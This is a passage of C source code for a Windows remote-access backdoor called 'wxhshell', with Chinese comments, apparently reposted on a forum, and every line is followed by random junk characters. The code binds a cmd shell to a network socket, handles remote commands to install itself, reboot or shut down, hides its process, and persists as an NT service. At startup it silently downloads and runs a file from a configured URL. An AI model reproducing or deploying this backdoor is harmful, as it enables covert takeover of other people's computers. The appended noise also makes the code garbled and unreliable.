  case '?': { sz @p_Z/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t6BHGX{o  
    break; (_4;') 9  
  } -!0_:m3  
  // 安装 *xE,sj+(  
  case 'i': { f30Pi1/h=c  
    if(Install()) G&;j6<hl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lNv".Y=l  
    else 8vuCc=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a=XW[TY1  
    break; N$x tHtz8"  
    } 6{ ,HiY  
  // 卸载 +[J/Zw0{  
  case 'r': { |v[Rp=?]  
    if(Uninstall()) N)S!7%ne  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *jMk/9oa<N  
    else #q3l!3\mW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dq IlD!  
    break; oo=#XZkk  
    } UZEI:k,dv  
  // 显示 wxhshell 所在路径 m^_6:Q0F!8  
  case 'p': { cst}Ibf i  
    char svExeFile[MAX_PATH]; /H:I 68~  
    strcpy(svExeFile,"\n\r"); Y F:2>w<  
      strcat(svExeFile,ExeFile); xyH/e*a  
        send(wsh,svExeFile,strlen(svExeFile),0); /U6% %%-D`  
    break; ]APvp.Tw:  
    } hI pKJ&hm  
  // 重启 "4H8A =  
  case 'b': { j#0j)k2Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }X;U|]d  
    if(Boot(REBOOT)) +>7$4`Nb2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !:LJzROh  
    else { )' xETA  
    closesocket(wsh); /D_+{dtE  
    ExitThread(0); .+y>8h3{  
    } 'SLE;_TD  
    break; 7n)&FX K`  
    } u@p?  
  // 关机 gPzL*6OS A  
  case 'd': { ;Qi }{;+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _,6f#t  
    if(Boot(SHUTDOWN)) Sd IX-k.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2JmZ{  
    else { u)Q;8$`  
    closesocket(wsh); # x>ga  
    ExitThread(0); Ip}Vb6}  
    } Lt#'W  
    break; _SZ5P>GIU  
    } kllQca|$4  
  // 获取shell L;W.pe0  
  case 's': { 1Q}mf!Y  
    CmdShell(wsh); Uz%Z&K  
    closesocket(wsh); OlxX.wP  
    ExitThread(0); W v!<bT8r  
    break; w W$(r-  
  } K#K\-TR|$  
  // 退出 |0bc$ZY:  
  case 'x': { <Y'>F!?#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v| z08\a[  
    CloseIt(wsh); A%Z)wz{  
    break; *!:QdWLq  
    } H L<s@kEZ  
  // 离开 .g\6g~n  
  case 'q': { HTz+K6&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i}TwOy<4s  
    closesocket(wsh); W( *V2<$o  
    WSACleanup(); ]_*S~'x  
    exit(1); `GQ{*_-  
    break; 3+OsjZ  
        } m4ApHM2  
  } 3$M3Q]z  
  } 4ax|Vb)D  
FQeYx-7  
  // 提示信息 F=@i6ERi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i4Z4xTn  
} f1{z~i9@$  
  } sLcY,AH  
^!: "Q3  
  return; Ar, 9U9  
} }4c/YP"a'E  
B(HT.%r^A  
// shell模块句柄 `U`#I,Ln[  
int CmdShell(SOCKET sock) &m{'nRU}c  
{ 'Am-vhpm  
STARTUPINFO si; k1N$+h ;\  
ZeroMemory(&si,sizeof(si));  ;\b@)E}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PjqeE,5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *:_~Nn9_R;  
PROCESS_INFORMATION ProcessInfo; :.IN?X  
char cmdline[]="cmd"; KS>$`ax,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O+ .*lo  
  return 0; zj M/M  
} 4L:>4X[T  
66ohmP@04Z  
// 自身启动模式 6* rcR]  
int StartFromService(void) :\}U9QfCw  
{ ]EL\)xCr  
typedef struct i+(GNcg2  
{ ]A:( L9  
  DWORD ExitStatus; r?p{L F  
  DWORD PebBaseAddress; 6}&^=^-  
  DWORD AffinityMask; cx(2jk}6  
  DWORD BasePriority; `1'5j "v  
  ULONG UniqueProcessId; [e4![G&y`  
  ULONG InheritedFromUniqueProcessId; >BiRk%x  
}   PROCESS_BASIC_INFORMATION; != zx  
~$aTM_4  
PROCNTQSIP NtQueryInformationProcess; c4]u&tvjJ  
\|+/0 USn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .9 kyrlm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9m!7|(QV  
0\ f-z6  
  HANDLE             hProcess; !t-K<'  
  PROCESS_BASIC_INFORMATION pbi; Ml`vx  
dB)9K)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~mA7pOHj  
  if(NULL == hInst ) return 0; ZgF/;8!~V-  
TA)LPBG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1xC`ZhjcD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^ KAG|r9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e[4V%h  
iG-N  
  if (!NtQueryInformationProcess) return 0; &>=#w"skb6  
B)a@fmp"a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "?H+ u/8$  
  if(!hProcess) return 0; iwo$\  
jsWX 6(=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4K,''7N3  
P`2&*2,  
  CloseHandle(hProcess); b;{h?xc6  
b`]M|C [5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  1ZNNsB  
if(hProcess==NULL) return 0; _80ns&q  
}xJR.]).KW  
HMODULE hMod; u\5g3BH  
char procName[255]; nP u`;no  
unsigned long cbNeeded; 'z](xG<  
Y-~;E3(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `,m7xJZ?y  
5G oK"F0i  
  CloseHandle(hProcess); u\w2S4c  
{Y "8~  
if(strstr(procName,"services")) return 1; // 以服务启动 -pX|U~a[  
L5C2ng>  
  return 0; // 注册表启动 U#"WrWj  
} Z"N(=B  
nrbazyKm  
// 主模块 _/ Tlqzp  
int StartWxhshell(LPSTR lpCmdLine) Wxk; g  
{ Zly-\ z_  
  SOCKET wsl; tx)OJY  
BOOL val=TRUE; *+W6 P.K  
  int port=0; ;%!tf{Si  
  struct sockaddr_in door; ##2`5i-x  
4JSZ0:O  
  if(wscfg.ws_autoins) Install(); c _p[yS  
t .L4%1OF  
port=atoi(lpCmdLine); }bCK  
V0S6M^\DK  
if(port<=0) port=wscfg.ws_port; 59~FpjJ  
+i4P,Lp  
  WSADATA data; e SK((T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1V0sl0i4  
a>?p.!BM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *{Yi}d@h(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <B=[hk!  
  door.sin_family = AF_INET; k_BSY=$e*D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )*Vj3Jx  
  door.sin_port = htons(port); S_j1=6 #^  
C|9[Al  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { avV mY|I  
closesocket(wsl); eL_^: -   
return 1; ~@?"' !U  
} _Ws#UL+Nq  
+R9%~Z.=  
  if(listen(wsl,2) == INVALID_SOCKET) { K:uQ#W.&  
closesocket(wsl); a" ^#!G<+  
return 1; prqT(1  
} K_Z+]]$#  
  Wxhshell(wsl); <3)|44.o&  
  WSACleanup(); T0s35z9  
y~x#pC*w  
return 0; xSx&79Ez<*  
fJvr+4i4k  
} I7A7X*  
$1b]xQ  
// 以NT服务方式启动 loR,XW7z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^4RO  
{ j/~VP2R`  
DWORD   status = 0; `S5>0r5[  
  DWORD   specificError = 0xfffffff; E7k-pquvE  
f 5mY;z"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^dheJ]n=k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r^fxyN2V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]!]`~ Z/  
  serviceStatus.dwWin32ExitCode     = 0; !?S5IGLOj  
  serviceStatus.dwServiceSpecificExitCode = 0; 2;3x,<Cg  
  serviceStatus.dwCheckPoint       = 0; hcd!A 5  
  serviceStatus.dwWaitHint       = 0; IES41y<  
A>4l/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7z Ohyl?  
  if (hServiceStatusHandle==0) return; -6AOK<kfI  
Ewa[Y=+tx  
status = GetLastError(); Xs{/}wc.q;  
  if (status!=NO_ERROR) N-]\oMc2  
{ H<v c\r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FAH[5VD r%  
    serviceStatus.dwCheckPoint       = 0; T_3V/)%@  
    serviceStatus.dwWaitHint       = 0; =%Q\*xaR.W  
    serviceStatus.dwWin32ExitCode     = status; I/u'bDq  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9"m, p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s4!|v`+$M  
    return; 7yo|ie@S  
  } C}x4#bNK  
[6Uudiw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;+S2h-4  
  serviceStatus.dwCheckPoint       = 0; QBg}2.  
  serviceStatus.dwWaitHint       = 0; xmCm3ekmpC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9m<wcZ  
} p*A^0DN'Fn  
Q3 K;kS  
// 处理NT服务事件,比如:启动、停止 \W3+VG2cA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $xKg }cO  
{ 0L3Bo3:k  
switch(fdwControl) % <8K^|w  
{ 'e+-,CGdY\  
case SERVICE_CONTROL_STOP: rU/-Wq`B  
  serviceStatus.dwWin32ExitCode = 0; Hj}g1"RA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1C^HCIH7J  
  serviceStatus.dwCheckPoint   = 0; ?AqrlR]5  
  serviceStatus.dwWaitHint     = 0; + TPbIRA  
  { k@'?"CP\Xq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `XQx$I  
  } ;g;,%jdCS  
  return; |U;w!0  
case SERVICE_CONTROL_PAUSE: *!-}lc^4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GV `idFd  
  break; 842Mydom  
case SERVICE_CONTROL_CONTINUE: lW{I`r\]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AxG?zBTFx  
  break; -ucz+{  
case SERVICE_CONTROL_INTERROGATE: e#76h;  
  break; r9p?@P\:[  
}; bTA14&& q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oT9XJwqnv  
} cOj +}Hz58  
pn ~/!y  
// 标准应用程序主函数 f_z2#,g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \kua9bK  
{ fzPgX  
S[\cT:{OE  
// 获取操作系统版本 =6"hj,[Q  
OsIsNt=GetOsVer(); f"} 0j|Gg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +E""8kW- Z  
/_ hfjCE  
  // 从命令行安装 Yc|-sEK/  
  if(strpbrk(lpCmdLine,"iI")) Install(); A ydy=sj  
9v5.4a}  
  // 下载执行文件 !'6J;Fb#  
if(wscfg.ws_downexe) { 1*eWvYo1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MO(5-R`  
  WinExec(wscfg.ws_filenam,SW_HIDE); u:{. Hn`  
} do :RPZ!  
[8om9 Z3  
if(!OsIsNt) { /ab K/8ZQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 +@<^i?ale  
HideProc(); U 8 .0L  
StartWxhshell(lpCmdLine); 4^jZv$l5  
} ;#Crh}~  
else :`!mCW`Q-  
  if(StartFromService()) 2-B8>-   
  // 以服务方式启动 g'l7Jr3  
  StartServiceCtrlDispatcher(DispatchTable); #!F8n`C-  
else C9^elcdv  
  // 普通方式启动  ZeDDH  
  StartWxhshell(lpCmdLine); _oyL*Cb  
%CfTqbB  
return 0; f|HgLFx  
}
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只看该作者 1 发表于: 2006-10-10
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